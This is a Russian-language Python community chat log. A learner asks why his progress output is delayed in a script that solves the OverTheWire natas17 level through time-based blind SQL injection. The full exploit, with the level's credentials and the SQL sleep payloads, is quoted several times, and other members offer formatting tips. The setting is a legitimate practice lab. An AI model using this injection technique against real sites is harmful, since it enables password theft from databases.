Size: a a a

Сообщество Python Программистов

2020 March 18

БГ

Бензофуран Гетероцик... in Сообщество Python Программистов
И спрашивай там
источник

ЕМ

Егор Михайловский... in Сообщество Python Программистов
Всем добрый вечер сейчас прохожу задания по вебу, пишу эксплоит на python3, короче хочу нормальную стилизацию сделать (как мне кажеться - нормально). Не могу понять где ошибка:

import requests  
from requests.auth import HTTPBasicAuth  
 
host='http://natas17.natas.labs.overthewire.org/index.php'
Auth=HTTPBasicAuth('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')  
headers={'content-type': 'application/x-www-form-urlencoded'}  
filteredchars=''  
password=''  
allchars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'  
 
print('Waiting...')
for char in allchars:  
   payload='username=natas18%22+and+password+like+binary+%27%25{0}%25%27+and+sleep%281%29+%23'.format(char)  
   r=requests.post(host, auth=Auth, data=payload, headers=headers)  
   if(r.elapsed.seconds >= 1):  
       filteredchars+=char    
filteredchars="dghjlmpqsvwxyCDFIKOPR470"
print('Wordlist: '+filteredchars)
print('Progress: ',end='')

for i in range(32):  
   for char in filteredchars:  
       payload='username=natas18%22%20and%20password%20like%20binary%20\'{0}%25\'%20and%20sleep(1)%23'.format(password + char)  
       r=requests.post(host, auth=Auth, data=payload, headers=headers)  
       if r.elapsed.seconds>=1:  
           password+=char  
           print('#',end='')  
           break
print('\n'+'-'*12+'Complete'+'-'*12+'\n')
print('Password: '+password)

Вобщем хочу чтобы выдавал Progress: и уже по мере продвижения печатал символ # вместе c end='' а в конце уже конечный результат.
"Ошибка" заключаеться в том, что он почему-то ждет пока завершиться цикл и выдает 32 символа # +  результат. А я хочу чтобы он выдавал результат по мере продвижения цикла, а не в конце.
источник

SM

Sanya Martynov in Сообщество Python Программистов
Бензофуран Гетероцикл
Ищи лучше в @it_chats чат по электрону
Спасибо, попробую
источник

БГ

Бензофуран Гетероцик... in Сообщество Python Программистов
Егор Михайловский
Всем добрый вечер сейчас прохожу задания по вебу, пишу эксплоит на python3, короче хочу нормальную стилизацию сделать (как мне кажеться - нормально). Не могу понять где ошибка:

import requests  
from requests.auth import HTTPBasicAuth  
 
host='http://natas17.natas.labs.overthewire.org/index.php'
Auth=HTTPBasicAuth('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')  
headers={'content-type': 'application/x-www-form-urlencoded'}  
filteredchars=''  
password=''  
allchars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'  
 
print('Waiting...')
for char in allchars:  
   payload='username=natas18%22+and+password+like+binary+%27%25{0}%25%27+and+sleep%281%29+%23'.format(char)  
   r=requests.post(host, auth=Auth, data=payload, headers=headers)  
   if(r.elapsed.seconds >= 1):  
       filteredchars+=char    
filteredchars="dghjlmpqsvwxyCDFIKOPR470"
print('Wordlist: '+filteredchars)
print('Progress: ',end='')

for i in range(32):  
   for char in filteredchars:  
       payload='username=natas18%22%20and%20password%20like%20binary%20\'{0}%25\'%20and%20sleep(1)%23'.format(password + char)  
       r=requests.post(host, auth=Auth, data=payload, headers=headers)  
       if r.elapsed.seconds>=1:  
           password+=char  
           print('#',end='')  
           break
print('\n'+'-'*12+'Complete'+'-'*12+'\n')
print('Password: '+password)

Вобщем хочу чтобы выдавал Progress: и уже по мере продвижения печатал символ # вместе c end='' а в конце уже конечный результат.
"Ошибка" заключаеться в том, что он почему-то ждет пока завершиться цикл и выдает 32 символа # +  результат. А я хочу чтобы он выдавал результат по мере продвижения цикла, а не в конце.
Эксплойт?
источник

ЕМ

Егор Михайловский... in Сообщество Python Программистов
да а что?
источник

БГ

Бензофуран Гетероцик... in Сообщество Python Программистов
Ты где там учишься
источник

ЕМ

Егор Михайловский... in Сообщество Python Программистов
самообучение говорят полезно))
источник

БГ

Бензофуран Гетероцик... in Сообщество Python Программистов
Что задание по вебу - эксплойт
источник

ЕМ

Егор Михайловский... in Сообщество Python Программистов
сорри не правильно выразился: не задание а я уровень типа прохожу на overthewire.org (!это не спам!)
источник

БГ

Бензофуран Гетероцик... in Сообщество Python Программистов
Егор Михайловский
Всем добрый вечер сейчас прохожу задания по вебу, пишу эксплоит на python3, короче хочу нормальную стилизацию сделать (как мне кажеться - нормально). Не могу понять где ошибка:

import requests  
from requests.auth import HTTPBasicAuth  
 
host='http://natas17.natas.labs.overthewire.org/index.php'
Auth=HTTPBasicAuth('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')  
headers={'content-type': 'application/x-www-form-urlencoded'}  
filteredchars=''  
password=''  
allchars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'  
 
print('Waiting...')
for char in allchars:  
   payload='username=natas18%22+and+password+like+binary+%27%25{0}%25%27+and+sleep%281%29+%23'.format(char)  
   r=requests.post(host, auth=Auth, data=payload, headers=headers)  
   if(r.elapsed.seconds >= 1):  
       filteredchars+=char    
filteredchars="dghjlmpqsvwxyCDFIKOPR470"
print('Wordlist: '+filteredchars)
print('Progress: ',end='')

for i in range(32):  
   for char in filteredchars:  
       payload='username=natas18%22%20and%20password%20like%20binary%20\'{0}%25\'%20and%20sleep(1)%23'.format(password + char)  
       r=requests.post(host, auth=Auth, data=payload, headers=headers)  
       if r.elapsed.seconds>=1:  
           password+=char  
           print('#',end='')  
           break
print('\n'+'-'*12+'Complete'+'-'*12+'\n')
print('Password: '+password)

Вобщем хочу чтобы выдавал Progress: и уже по мере продвижения печатал символ # вместе c end='' а в конце уже конечный результат.
"Ошибка" заключаеться в том, что он почему-то ждет пока завершиться цикл и выдает 32 символа # +  результат. А я хочу чтобы он выдавал результат по мере продвижения цикла, а не в конце.
Проще перед циклом принтануть 'Progress: ' с end='' а потом циклом заполнители принтить
Либо подумать об использованни либы progressbar🌚
источник

ЕМ

Егор Михайловский... in Сообщество Python Программистов
Бензофуран Гетероцикл
Проще перед циклом принтануть 'Progress: ' с end='' а потом циклом заполнители принтить
Либо подумать об использованни либы progressbar🌚
так я и так перед циклом поставил end=''
источник

ЕМ

Егор Михайловский... in Сообщество Python Программистов
а кстати что за либа(progressbar) я так понял ее надо установить сначала
источник

ЕМ

Егор Михайловский... in Сообщество Python Программистов
?
источник

БГ

Бензофуран Гетероцик... in Сообщество Python Программистов
Егор Михайловский
а кстати что за либа(progressbar) я так понял ее надо установить сначала
Вроде как да
источник

БГ

Бензофуран Гетероцик... in Сообщество Python Программистов
Но я не пользовался ей, гарантий не даю
источник

ЕМ

Егор Михайловский... in Сообщество Python Программистов
а то на счет 1 варианта?
источник

ЕМ

Егор Михайловский... in Сообщество Python Программистов
я так и не понял((
источник

БГ

Бензофуран Гетероцик... in Сообщество Python Программистов
Егор Михайловский
Всем добрый вечер сейчас прохожу задания по вебу, пишу эксплоит на python3, короче хочу нормальную стилизацию сделать (как мне кажеться - нормально). Не могу понять где ошибка:

import requests  
from requests.auth import HTTPBasicAuth  
 
host='http://natas17.natas.labs.overthewire.org/index.php'
Auth=HTTPBasicAuth('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')  
headers={'content-type': 'application/x-www-form-urlencoded'}  
filteredchars=''  
password=''  
allchars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'  
 
print('Waiting...')
for char in allchars:  
   payload='username=natas18%22+and+password+like+binary+%27%25{0}%25%27+and+sleep%281%29+%23'.format(char)  
   r=requests.post(host, auth=Auth, data=payload, headers=headers)  
   if(r.elapsed.seconds >= 1):  
       filteredchars+=char    
filteredchars="dghjlmpqsvwxyCDFIKOPR470"
print('Wordlist: '+filteredchars)
print('Progress: ',end='')

for i in range(32):  
   for char in filteredchars:  
       payload='username=natas18%22%20and%20password%20like%20binary%20\'{0}%25\'%20and%20sleep(1)%23'.format(password + char)  
       r=requests.post(host, auth=Auth, data=payload, headers=headers)  
       if r.elapsed.seconds>=1:  
           password+=char  
           print('#',end='')  
           break
print('\n'+'-'*12+'Complete'+'-'*12+'\n')
print('Password: '+password)

Вобщем хочу чтобы выдавал Progress: и уже по мере продвижения печатал символ # вместе c end='' а в конце уже конечный результат.
"Ошибка" заключаеться в том, что он почему-то ждет пока завершиться цикл и выдает 32 символа # +  результат. А я хочу чтобы он выдавал результат по мере продвижения цикла, а не в конце.
СеКуНдОчКу...
источник

БГ

Бензофуран Гетероцик... in Сообщество Python Программистов
У тебя после принта break
источник

ЕМ

Егор Михайловский... in Сообщество Python Программистов
без брейка то же самое происходит ((
источник